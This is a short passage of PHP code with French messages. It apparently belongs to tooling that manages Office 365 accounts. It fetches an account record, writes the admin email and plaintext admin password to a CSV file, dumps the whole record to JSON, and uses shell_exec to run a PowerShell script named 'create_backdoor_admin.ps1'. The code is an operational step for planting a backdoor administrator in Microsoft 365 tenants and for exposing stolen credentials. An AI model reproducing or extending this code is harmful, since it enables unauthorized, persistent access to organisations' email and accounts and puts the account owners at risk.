prepare("SELECT * FROM admin.office_accounts WHERE id = ?"); $stmt->execute([$aid]); $acc = $stmt->fetch(PDO::FETCH_ASSOC); if(!$acc) die("Compte ID $aid non trouvé"); file_put_contents('/opt/wevads/storage/office365/khalil.csv', $acc['admin_email'].','.$acc['admin_password']); file_put_contents('/opt/wevads/storage/office365/current_account.json', json_encode($acc, JSON_PRETTY_PRINT)); echo "
Compte: {$acc['name']}\n";
echo "Email: {$acc['admin_email']}\n";
echo "Exécution du script...\n\n";
flush();
echo shell_exec('timeout 90 pwsh /opt/wevads/scripts/office365/create_backdoor_admin.ps1 2>&1');
echo "";
} catch(Exception $e) {
die("Erreur: " . $e->getMessage());
}